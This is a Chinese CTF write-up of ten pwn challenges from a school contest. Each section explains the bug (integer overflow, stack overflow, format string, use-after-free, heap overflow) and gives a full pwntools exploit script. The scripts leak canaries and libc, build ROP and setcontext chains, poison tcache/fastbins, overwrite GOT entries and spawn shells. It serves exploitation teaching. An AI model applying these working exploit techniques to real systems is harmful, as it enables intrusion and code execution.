07 Nov 2022

校赛十道PWN题 Write Up

本次负责校赛的同学出了十道PWN,大概涵盖了pwn的基本打法。


本writeup题目排序与难度无关。题目文件

致整数溢出的你

如题,这题考验整数溢出

第一关

求两个数满足

​ a-b=114,0<=a<114,0<=b<114

逻辑上看上去不合理,实际上问题出在程序中,查看反汇编的程序:

 1  puts("1.a-b=114,0<=a<114,0<=b<114");
 2  fgets(s, 14, stdin);
 3  fgets(nptr, 14, stdin);
 4  if ( strchr(s, 45) )
 5    return 0;
 6  if ( strchr(nptr, 45) )
 7    return 0;
 8  v1 = atoi(s);
 9  result = v1 - atoi(nptr);
10  if ( result == 114 )
11  {
12    result = atoi(s);
13    if ( result <= 113 )
14    {
15      result = atoi(nptr);
16      if ( result <= 113 )
17      {
18        puts("Good!");
19        return 1;
20      }
21    }
22  }

判断变量>=0的方式是strchr(s, 45) ,也就是只检查输入时是否是负数,我们可以构造溢出数来组成任意负数,使其满足a-b==114

第二关

​ 2.a*b=514,a>514,b>514

本题可以从二进制上思考,514=0b1000000010,在前方填充足够的0,直至超出32位,再添若干个1,以此为结果,期望:该大数可以分解为两个大于514的数。

借助在线工具质因数分解,如

4294967810=0b100000000000000000000001000000010=137*7*5*2*447859=447859*9590
第三关

​ 3.a/b=ERROR,b!=0

分母为0是非常常见的溢出,但这里不允许分母是0,实际上结果溢出也是会产生异常的,可以从这方面入手。

EXP
1.a-b=114,0<=a<114,0<=b<114
6666666666
6666666552
Good!
2.a*b=514,a>514,b>514
447859 9590
Good!
3.a/b=ERROR,b!=0
2147483648 -1
You got it!
GOOD JOB!

scanf大小姐想让我告白

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开了,用的是略新的libc2.31。

题目是个简单的计算器,出现漏洞的是乘法:

 1unsigned __int64 sub_14B9()
 2{
 3  int v1; // [rsp+0h] [rbp-120h] BYREF
 4  int i; // [rsp+4h] [rbp-11Ch]
 5  unsigned int v3; // [rsp+8h] [rbp-118h]
 6  int j; // [rsp+Ch] [rbp-114h]
 7  char v5[264]; // [rsp+10h] [rbp-110h] BYREF
 8  unsigned __int64 v6; // [rsp+118h] [rbp-8h]
 9
10  v6 = __readfsqword(0x28u);
11  puts("************** input size of number: ");
12  __isoc99_scanf("%d", &v1);
13  for ( i = 0; i < v1; ++i )
14    __isoc99_scanf("%hhd", &v5[i]);
15  printf("your input is %s", v5);
16  v3 = 1;
17  for ( j = 0; j < v1; ++j )
18    v3 = (unsigned __int8)(v3 * v5[j]);
19  printf("result is %d\n", v3);
20  return __readfsqword(0x28u) ^ v6;
21}

可以看到,可以输入任意数量的字符,很容易造成栈溢出,关键在于如何泄露libc和处理canary。

由于只能溢出一次,如何同时泄露libc的情况下处理好canary?注意到输入字符后,还打印了出来,由于这个数组开的很大并且没有进行初始化,经过尝试后发现确实存在一个printf函数在一定偏移上出现,可以在溢出前先得到。至于canary,由于可以输入的数量很多,我首先想到的是Star Ctf 2018 Babystack的覆盖TLS(Thread Local Storage)保存的canary,在此耗费了一定的时间,非常惭愧,过了很久才意识到,由于数组开的很大,可以通过同样的方式泄露之前栈上就存在的canary。而最后返回地址就覆盖为one_gadget。

EXP
 1io.sendlineafter('option:', b'3')
 2num = 40
 3io.sendlineafter(b'number: \n', str(num).encode())
 4
 5for i in range(0, num-8):
 6    io.sendline(b'97')
 7deadbeef = 'deadbeef'
 8for i in range(0, 8):
 9    c = deadbeef[i]
10    x = ord(c)
11    io.sendline(str(x).encode())
12
13offset = 0x61d3f # (printf+175)
14
15addr = io.recvuntil(b'result').split(b'deadbeef')[1]    # get rid of prefix
16addr = addr[:-6]    # get rid of 'result'
17addr = u64(addr.ljust(8, b"\x00"))
18libc_base = addr - offset
19print(hex(libc_base))
20
21# leak canary
22io.sendlineafter('option:', b'3')
23num = 72 + 1 # for canary
24io.sendlineafter(b'number: \n', str(num).encode())
25
26for i in range(0, num-8):
27    io.sendline(b'97')
28deadbeef = 'deadbeef'
29for i in range(0, 8):
30    x = ord(deadbeef[i])
31    io.sendline(str(x).encode())
32
33canary = io.recvuntil(b'result').split(b'deadbeef')[1]    # get rid of prefix
34canary = canary[:7]
35print(canary)
36canary = u64(canary.ljust(8, b"\x00")) << 8
37print(hex(canary))
38
39# one_gadget = 0xe3afe
40one_gadget = 0xe3b01
41# one_gadget = 0xe3b04
42one_gadget = one_gadget + libc_base
43
44pd = 264 * b'A' + p64(canary) + 8 * b'B'
45pd += p64(one_gadget)
46
47io.sendlineafter('option:', b'1')
48num = len(pd)
49io.sendlineafter(b'number: \n', str(num).encode())
50
51for i in range(0, num):
52    x = pd[i]
53    io.sendline(str(x).encode())
54
55io.interactive()

shellcode学妹想要玩

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

有RWX段,直接考虑在栈上跑shellcode。

简单排查,发现漏洞函数,栈溢出,但是只能覆盖到返回地址。

1ssize_t sub_885()
2{
3  __int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
4  int v2; // [rsp+2Ch] [rbp-4h]
5
6  memset(buf, 0, sizeof(buf));
7  v2 = 1;
8  return read(0, buf, 0x39uLL);
9}

同时发现main函数里面有个jmp rbx, 往上找发现漏洞函数输入字符串buf的地址放到了里面,所以需要输入一个足够短的shellcode,然后在jmp前面有个分支跳转的条件写死的,必须要跳过,栈溢出只能覆盖到返回地址的最后一个字节,不过也足够了,由于PIE的特性,地址的最后一个半字节是不变的,因此改就完事了(partial write)。

EXP
 1sc = '''
 2xor 	rsi,	rsi			
 3push	rsi				
 4mov 	rdi,	0x68732f2f6e69622f	 
 5push	rdi
 6push	rsp		
 7pop	rdi				
 8mov 	al,	59			
 9cdq					
10syscall
11'''
12sc = asm(sc)
13
14io.recvuntil(b"it?\n")
15
16pd = sc + b'A' * (0x38 - len(sc)) + b'\x2A'
17io.sendline(pd)
18
19io.interactive()

pwn1

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

这个就没啥保护,而且又显然常规栈溢出+RWX段,直接打shellcode就行。

EXP
 1context.arch="amd64"
 2shellcode=asm(shellcraft.sh())
 3
 4name=0x601080
 5io.recvuntil("name\n")
 6io.sendline(shellcode)
 7
 8io.recvuntil("?\n")
 9payload=b"A"*0x28+p64(name)
10
11io.sendline(payload)
12
13io.interactive()

pwn2

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)

没有PIE,同时给了lic-2.27

发现格式化字符串漏洞

1  read(0, buf, 0x32uLL);
2  v0 = (const char *)sub_4009F0(buf);
3  strcpy(dest, v0);
4  puts("your name is ");
5  printf(dest);

但是输入的字符需要经过sub_4009F0函数处理,此函数起转换编码的作用,我们所有输入的字符都会比对生成的字典中的位置变成对应的0~63的数,实际上就是6比特的数,经过一系列奇怪转换变成8比特的数,字符串整体长度变为原来的3/4,有点像base64。总之需要写个解码函数。

 1table = 'QWER7YUI0PASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/+m123456T89O'
 2danger = []
 3for c in table:
 4    danger.append(ord(c))
 5s = "secret"
 6
 7def init():
 8    t1 = 0
 9    t2 = 0
10    l1 = [0] * 64
11    l2 = [0] * 72
12    for i in range(0, 64):
13        l1[i] = i
14        l2[i] = ord(s[i % len(s)])
15
16    for j in range(0, 64):
17        t2 = (l2[j] + t2 + (l1[j] & 63)) % 64
18        t1 = danger[l1[j] & 63]
19        danger[l1[j] & 63] = danger[l1[t2] & 63]
20        danger[l1[t2] & 63] = t1
21
22def encrypt(target):
23    if len(target) % 3 != 0:
24        for _ in range(3 - len(target) % 3):
25            target += b'|'
26    t = []
27    for c in target:
28        t.append(c)
29    res = []
30    for i in range(0, len(t), 3):
31        d = t[i+2] & 63
32        c = t[i+2] >> 6
33        c |= t[i+1] << 2
34        c = c & 63
35        b = t[i+1] >> 4
36        b |= t[i+0] << 4
37        b = b & 63
38        a = t[i+0] >> 2
39        res.append(danger[a])
40        res.append(danger[b])
41        res.append(danger[c])
42        res.append(danger[d])
43    return bytes(res)

至此,我们可以利用格式化字符串泄露出libc基址,偏移为22:

b'dyCMdyw9dKsWwgsewP7W' =>b'AAAABBBB.%22$p.'  
your name is 
AAAABBBB.0x4242424241414141.this is a gift for you

接下来发现,main函数最后存在任意地址写3个字节的辅助:

1  puts("this is a gift for you");
2  for ( i = 0; i <= 2; ++i )
3  {
4    read(0, buf, 8uLL);
5    read(0, buf[0], 1uLL);
6  }

由于没有开PIE,可以考虑修改exit函数GOT改到该循环开始,实现无限修改。接下来把one_gadget改到put函数GOT上(需要改6个字节),最后把exit改了退出无限循环。

EXP
 1init()
 2puts_got = 0x602020
 3# pd = b'AAAAAAAA' + b'%22$s'
 4pd = b'%23$s|||' + p64(puts_got)
 5print(pd)
 6io.sendlineafter(b'name\n', encrypt(pd))
 7io.recvuntil(b'name is \n')
 8puts_ad = io.recv().split(b'|')[0]
 9puts_ad = u64(puts_ad.ljust(8, b"\x00"))
10
11libc_base = puts_ad - libc.symbols['puts']
12
13print(hex(puts_ad))
14print(hex(libc_base))
15
16exit_got = 0x602060
17main_ad = 0x400C13
18reloop_ad = 0x400C8e
19start_ad = 0x400750
20final = 0x400C66
21
22one_gadget = libc_base + 0x10a38c
23
24for i in range(0, 3):
25    io.send(p64(exit_got+i))
26    io.send(p64(reloop_ad)[i].to_bytes(1, "big"))
27
28for i in range(0, 6):
29    io.send(p64(puts_got+i))
30    io.send(p64(one_gadget)[i].to_bytes(1, "big"))
31
32for i in range(0, 3):
33    io.send(p64(exit_got+i))
34    io.send(p64(final)[i].to_bytes(1, "big"))
35
36io.interactive()

pwn3

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

保护全开。文件名是orw,看一下沙箱规则:

1$ seccomp-tools dump ./pwn3
2 line  CODE  JT   JF      K
3=================================
4 0000: 0x20 0x00 0x00 0x00000004  A = arch
5 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
6 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
7 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
8 0004: 0x06 0x00 0x00 0x00000000  return KILL
9 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

就是标准的不允许execve。给的libc版本是2.31的,有点麻烦,等会儿说。

这个程序的功能是堆对象(题中的)的CRUD(Create, read, update and delete)功能的实现:

1  puts("1.add game");
2  puts("2.delete game");
3  puts("3.edit game");
4  puts("4.show game");
5  puts("5.exit game");

堆最大可申请到2453,最多申请31个,条件比较松。主要漏洞是,free后并没有将地址置零,存在UAF(Use-After-Free)。

首先考虑如何泄露libc基址,最常见的方法就是unsorted bin,仅有一个空闲对象时,双向链表指针指向main_arena,利用其于__malloc_hook的偏移,求出libc基址。注意由于这个libc版本堆会先给到tcache,装满七个后才放到unsorted bin中去。

如果想要直接修改返回地址做ROP,考虑如何从libc地址得到栈地址(利用__environ)的方法,但是略有些麻烦。最后打算劫持__free_hooksetcontext把栈转移到设计好的堆上。

首先要泄露堆地址,这个比较简单,因为UAF,可以直接读到tcache空闲链表偏移固定的指向栈开头某个位置的地址,提前算好偏移就行。

接下来要解决setcontext的问题,可以看一下libc的代码:

;In setcontext()...	
.text:0000000000054F8D                 mov     rsp, [rdx+0A0h]
.text:0000000000054F94                 mov     rbx, [rdx+80h]
.text:0000000000054F9B                 mov     rbp, [rdx+78h]
.text:0000000000054F9F                 mov     r12, [rdx+48h]
.text:0000000000054FA3                 mov     r13, [rdx+50h]
.text:0000000000054FA7                 mov     r14, [rdx+58h]
.text:0000000000054FAB                 mov     r15, [rdx+60h]
.text:0000000000054FAF                 test    dword ptr fs:48h, 2
.text:0000000000054FBB                 jz      loc_55076
.text:0000000000054FC1                 mov     rsi, [rdx+3A8h]
.text:0000000000054FC8                 mov     rdi, rsi
.text:0000000000054FCB                 mov     rcx, [rdx+3B0h]
.text:0000000000054FD2                 cmp     rcx, fs:78h
.text:0000000000054FDB                 jz      short loc_55015
...
.text:0000000000055076                 mov     rcx, [rdx+0A8h]
.text:000000000005507D                 push    rcx	<-- 这里会入栈一次,要设法避开,不细说了
.text:000000000005507E                 mov     rsi, [rdx+70h]
...
.text:000000000005509C                 xor     eax, eax
.text:000000000005509E                 retn

一般上直接跳到修改rsp寄存器的位置上。可以发现这里几乎可以修改所有寄存器的值,用起来是很方便的。但是有一点不好就是取值的偏移是相对rdx的(某个版本之前是相对rdi的)。所以在这之前要先控制rdx

rdi控制rdx常用的gadget:

0x00000000001518b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

然后是ROP的流程,收集其余的gadget

 10x0000000000047400 : pop rax ; ret
 20x0000000000023b72 : pop rdi ; ret
 30x000000000002604f : pop rsi ; ret
 40x0000000000042047 : push rax ; ret
 5...
 6$ ropper --asm "syscall;ret"
 70f05c3
 8$ ropper --file libc-2.31.so --opcode "0f05c3"
 9Opcode
10======
110x00000000000630d9: 0f05c3;
120x0000000000083f9c: 0f05c3;
13...

设一个大一点的堆,把数好好的布置一下,依次通过ROP实现openreadwrite就好了。

EXP
  1def add(num, data=b''):
  2    io.recvuntil(b'>> ')
  3    io.sendline(b'1')
  4    io.sendlineafter(b'tion:\n', str(num).encode())
  5    io.sendlineafter(b'tion:\n', data)
  6
  7def delete(idx):
  8    io.recvuntil(b'>> ')
  9    io.sendline(b'2')
 10    io.sendlineafter(b'index: ', str(idx).encode())
 11
 12def edit(idx, data):
 13    io.recvuntil(b'>> ')
 14    io.sendline(b'3')
 15    io.sendlineafter(b'index: ', str(idx).encode())
 16    io.sendlineafter(b'tion:\n', data)
 17
 18def show(idx):
 19    io.recvuntil(b'>> ')
 20    io.sendline(b'4')
 21    io.sendlineafter(b'index: ', str(idx).encode())
 22    rst = io.recvuntil(b'\nshow done.').split(b'\n')[0]
 23    return rst
 24
 25main_arena_offset = libc.symbols["__malloc_hook"] + 0x70
 26
 27add(0x100) # 0
 28add(0x10) # 1
 29
 30# 2 ~ 8
 31for id in range(2, 9):
 32    add(0x100)
 33for id in range(2, 9):
 34    delete(id)
 35
 36delete(0)
 37addr = show(0)
 38addr = u64(addr.ljust(8, b"\x00"))
 39libc_base = addr - main_arena_offset
 40print('libc_base ', hex(libc_base))
 41addr = show(3)
 42addr = u64(addr.ljust(8, b"\x00"))
 43heap_base = addr - 976 # todo
 44print('heap_base ', hex(heap_base))
 45
 46free_hook = libc_base + libc.symbols["__free_hook"]
 47setcontext_offset = libc_base + 0x54f8d
 48# mov rdx, qword ptr [rdi + 8] ; mov qword ptr [fake_stack], rax ; call qword ptr [rdx + 0x20]
 49heaven_door = libc_base + 0x1518b0
 50pop_rax = libc_base + 0x47400
 51pop_rdi = libc_base + 0x23b72
 52pop_rsi = libc_base + 0x2604f
 53syscall_ret = libc_base + 0x630d9
 54
 55add(0x10) # 9 same place in 0, 
 56add(0x10) # 10
 57add(0xE0) # 11 whatever, fill the unsortbin
 58delete(10) 
 59delete(9)
 60
 61fake_chk_fd = free_hook
 62edit(0, p64(fake_chk_fd)) 
 63add(0x10, b'AAAA')  # 12
 64
 65print(hex(fake_chk_fd), '<-', hex(heaven_door))
 66add(0x10, p64(heaven_door))  # 13
 67
 68rdx = heap_base + 0xC30 + 0x10
 69fake_stack = rdx + 0x400
 70rbp = fake_stack - 0x8
 71n_rbp = fake_stack - 0x8
 72file_addr = rdx
 73
 74ropper = [
 75    pop_rax,  # sys_open('flag', 0)
 76    2,
 77    syscall_ret,
 78    pop_rax,  # sys_read(flag_fd, heap, 0x100)
 79    0,
 80    pop_rdi,
 81    3,
 82    pop_rsi,
 83    fake_stack + 0x200,
 84    syscall_ret,
 85    pop_rax,  # sys_write(1, heap, 0x100)
 86    1,
 87    pop_rdi,
 88    1,
 89    pop_rsi,
 90    fake_stack + 0x200,
 91    syscall_ret
 92]
 93# ropper = p64(pop_rsi) + p64(0) + p64(pop_rdi) + b"flag\x00\x00\x00\x00" + flat(ropper)
 94ropper = flat(ropper)
 95rcx = ropper[:8] # setcontext includes a `push rcx`
 96ropper = ropper[8:]
 97
 98rdx_zone = b'flag\x00\x00\x00\x00' + 0x18 * b'A' + p64(setcontext_offset)
 99rdx_zone += ( 0x68 - len(rdx_zone) ) * b'A' + p64(file_addr) + p64(0) # rdi, rsi
100rdx_zone += ( 0x78 - len(rdx_zone) ) * b'B' + p64(rbp) 
101rdx_zone += ( 0x88 - len(rdx_zone) ) * b'C' + p64(0x100) # rdx for syscall
102rdx_zone += ( 0xA0 - len(rdx_zone) ) * b'D' + p64(fake_stack) + rcx 
103rdx_zone += ( 0x400 - 0x8 - len(rdx_zone) ) * b'E' + p64(n_rbp) + ropper 
104rdx_zone += ( 0x600 - len(rdx_zone) ) * b'F' + b'deafbeef'
105
106pd = b'A' * 8 + p64(rdx) + rdx_zone
107
108add(0x900, pd) # 14 start from base+0xC30
109
110delete(14) # activate ROP
111
112# pwnlib.gdb.attach(io)
113io.interactive()

pet simulator

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

没有给libc,有点坑。

ldd pet
        linux-vdso.so.1 (0x00007fff182b6000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffacb966000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ffacbb72000)

每一次新建宠物,申请堆大小为0x58 = 0x28 (Breed) + 0x30 (Name)

命名Name操作可读入0x50个字符,存在0x20个字符的溢出。

注意到comment方法会给一个很大的堆空间直接给到了unsorted bin,利用main_arena其于__malloc_hook的偏移,求出libc基址。然后劫持free_hooksystem("/bin/sh")来getshell,由于没有给libc,就没有去试one_gadget。

远程一直打不通,后来给libc了……

EXP
 1def draw():
 2    io.recvuntil(b'> ')
 3    io.sendline(b'1')
 4
 5def namecat(id, data):
 6    io.recvuntil(b'> ')
 7    io.sendline(b'2')
 8    io.sendlineafter(b'idx?\n> ', str(id).encode())
 9    io.sendline(data)
10
11def show(id):
12    io.recvuntil(b'> ')
13    io.sendline(b'3')
14    io.sendlineafter(b'idx?\n> ', str(id).encode())
15    io.recvuntil(b'ENDENDD\n')
16    rst = io.recvuntil(b'- Operation Menu -').split(b'\n\n- Operation Menu -')[0][-6:]
17    return rst
18
19def abandon(id):
20    io.recvuntil(b'> ')
21    io.sendline(b'4')
22    io.sendlineafter(b'> ', str(id).encode())
23
24def comment(data=b''):
25    io.recvuntil(b'> ')
26    io.sendline(b'5')
27    io.sendline(data)
28
29draw()
30draw()
31comment()
32draw()
33namecat(2, b'deadbeef' * 6 + b'ENDENDD')
34addr = show(2)
35addr = u64(addr.ljust(8, b"\x00"))
36print('main_arena', hex(addr))
37
38pd = b'deadbeef' * 6 + p64(0x4B1) + p64(addr) + p64(addr)
39namecat(2, pd)
40
41malloc_hook = addr - 0x70
42
43libc = LibcSearcher("__malloc_hook", malloc_hook)
44libc_base = malloc_hook - libc.dump("__malloc_hook")
45print('libc_base', hex(libc_base))
46
47system = libc_base + libc.dump("system")
48
49free_hook = libc_base + libc.dump("__free_hook")
50print('free_hook', hex(free_hook))
51print('malloc_hook', hex(malloc_hook))
52
53target = free_hook - 0x28
54
55abandon(2)
56abandon(1)
57pd = b'deadbeef' * 7 + b'ENDENDD'
58namecat(0, pd)
59ori = show(0)
60ori = u64(ori.ljust(8, b"\x00"))
61print(hex(ori))
62pd = b'deadbeef' * 6 + p64(0x61) + p64(target) + p64(ori)
63namecat(0, pd)
64draw()
65draw()
66
67pd = p64(system)
68namecat(2, pd)
69
70pd = b'deadbeef' * 6 + p64(0x61) + b'/bin/sh\x00'
71namecat(0, pd)
72abandon(1)
73
74io.interactive()

fmtstr

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

格式化字符串漏洞入门题,保护基本没开。

泄露偏移

Please login:
Username:ABCDEFGH%14$p       
Hello, ABCDEFGH0x4847464544434241

泄露出password,然后发回去,就好了

EXP
 1pd_addr = 0x4040C0
 2
 3p.recvuntil(b'Username:')
 4pad = b'%15$sEND' + p64(pd_addr)
 5p.sendline(pad)
 6p.recvuntil(b'Hello, ')
 7
 8info = p.recvline()
 9passwd = info.split(b'END')[0]
10
11p.recvuntil(b'Password:')
12
13p.sendline(passwd)
14
15p.recv()
16
17p.interact()

babycontact

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

啥也没开。

发现edit选项里的判断有问题:

1  if ( v1 < 0 && v1 >= contact_num )
2    return puts("Error: Invalid index");
3  if ( pinned[64 * (__int64)contact_num] )
4      ...

主要是以上两处判断,直接导致了可以任意指定内存修改(虽然限制比较大,只能改那个数据地址的64倍数的偏移,而且最多一次改30个字符)

发现了有system("cat flag"),于是考虑覆写GOT,由于条件的限制,试了几次,改scanf比较合适,由于一次操作会同时修改两个地方(坑),要保持初始值。

EXP
 1vul_addr = 0x401722
 2
 3def add(name, number):
 4    p.sendline(b'2')
 5    p.recvuntil(b'contact name:')
 6    p.sendline(name)
 7    p.recvuntil(b'phone-number:')
 8    p.sendline(number)
 9
10def delete(id):
11    p.sendline(b'3')
12    p.recvuntil(b'index:')
13    p.sendline(id)
14
15def edit(id, name, number):
16    p.sendline(b'4')
17    p.recvuntil(b'index:')
18    p.sendline(id)
19    p.recvuntil(b'contact name:')
20    p.sendline(name)
21    p.recvuntil(b'phone-number:')
22    p.sendline(number)
23
24p.recvuntil(b'-QUIT-')
25
26for _ in range(2):
27    p.recvuntil(b'option> ')
28    add(b'Jet', b'Jet')
29
30p.recvuntil(b'option> ')
31delete(b'0')
32
33p.recvuntil(b'option> ')
34pad = p64(vul_addr)
35pad = pad[:-1]
36edit(b'-2', p64(0x401056)[:-1], p64(vul_addr)[:-1])
37
38# p.recv()
39p.interactive()

babyheap

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这题也是堆利用,大小比较小,基本上就是tcache或者fastbin了。漏洞是edit的时候可以指定更大的大小导致堆溢出覆盖。给了cat flag函数,思路就是把exit的GOT改成这个函数就好。

在远端不成功:

Error in `./run': malloc(): memory corruption (fast): 0x0000000000404078

发现是fastbin的问题

 1// fastbin 
 2#define fastbin_index(sz) ((((unsigned int)(sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
 3#define chunksize(p)         ((p)->size & ~(SIZE_BITS))
 4if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
 5      {
 6        errstr = "malloc(): memory corruption (fast)";
 7      errout:
 8        malloc_printerr(check_action, errstr, chunk2mem(victim), av);
 9        return NULL;
10      }

而我本地是高版本libc,首先存的地方是单独为tcache,和fastbin很像,只不过指针偏移了0x10,修改后即可打通。

EXP
 1def create(idx, num, data):
 2    io.recvuntil(b"option>")
 3    io.sendline(b'2')
 4    io.sendlineafter(b'index:\n', str(idx).encode())
 5    io.sendlineafter(b'(16~80):\n', str(num).encode())
 6    io.sendlineafter(b'content:\n', data)
 7
 8def delete(idx):
 9    io.recvuntil(b"option>")
10    io.sendline(b'3')
11    io.sendlineafter(b'index:\n', str(idx).encode())
12
13def edit(idx, data):
14    io.recvuntil(b"option>")
15    io.sendline(b'4')
16    io.sendlineafter(b'index:\n', str(idx).encode())
17    io.sendlineafter(b'content:\n', data)
18
19fake_chk = 0x404148 # data address of No.8
20# here may differ with different libc, on my machine 
21# it should be 0x404158(chunk_address + 0x10) which is 
22# considerd as *fd, but remotely it actually needs the 
23# chunk struct head address 
24
25vulner_func = 0x4016DD
26exit_got = 0x404068
27
28# generate the '0x21' in the bss of storing the data size from No.8
29create(9, 33, b'X' * 16)
30# delete(9)
31
32create(0, 16, b'A' * 16)
33create(1, 16, b'B' * 16)
34create(2, 16, b'C' * 16)
35delete(2)
36delete(1)
37
38pd = 16 * b'J' + p64(0) + p64(0x21) + p64(fake_chk)
39edit(0, pd)
40
41create(2, 16, b'D' * 16)
42pd = p64(exit_got)
43create(3, 16, pd)
44
45pd = p64(vulner_func)
46edit(9, pd)
47
48io.sendline(b'5')
49
50io.interactive()